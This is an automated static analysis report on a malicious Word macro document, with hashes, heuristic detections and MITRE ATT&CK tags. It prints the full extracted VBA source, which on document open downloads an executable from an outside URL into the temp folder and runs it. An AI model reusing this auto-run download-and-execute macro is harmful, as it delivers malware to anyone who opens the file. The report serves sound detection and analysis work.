Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d50c589327215655…

MALICIOUS

Office (OLE)

34.5 KB Created: 2014-02-17 02:52:00 Authoring application: Microsoft Office Word First seen: 2015-09-18
MD5: 5aafd783490478eda67e5fda9c721720 SHA-1: 5127a01d9add79446b75838b3a95b80aa6fb3e54 SHA-256: d50c58932721565572c3b1e054c5cbef171fe2403978f1c7ed7a8f50f9308b7a
314 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The Auto_Open macro executes a subroutine that uses URLDownloadToFile to download a file named 'netrat.exe' from 'http://www.amparo.com.pl//images//smilies/netrat.exe' and saves it as 'testeo2x.exe' in the temporary directory. It then executes the downloaded file. This indicates a downloader pattern.

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Environ("TEMP") & "\testeo2x.exe"
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare Function URLDownloadToFile _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    URLDownloadToFile 0, "http://www.amparo.com.pl//images//smilies/netrat.exe", Environ("TEMP") & "\testeo2x.exe", 0, 0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.amparo.com.pl//images//smilies/netrat.exe� Referenced by macro
    • http://www.amparo.com.pl//images//smilies/netrat.exeReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1054 bytes
SHA-256: 6afa2bd04c828e3611aedae9db47ecfc269be5cb79fcfe59a97eaebb42d6a078
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function URLDownloadToFile _
                Lib "urlmon" _
                Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
                                            ByVal szURL As String, _
                                            ByVal szFileName As String, _
                                            ByVal dwReserved As Long, _
                                            ByVal lpfnCB As Long) As Long

Sub Auto_Open()
    h
End Sub

Sub h()
On Error Resume Next

URLDownloadToFile 0, "http://www.amparo.com.pl//images//smilies/netrat.exe", Environ("TEMP") & "\testeo2x.exe", 0, 0
Shell Environ("TEMP") & "\testeo2x.exe"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub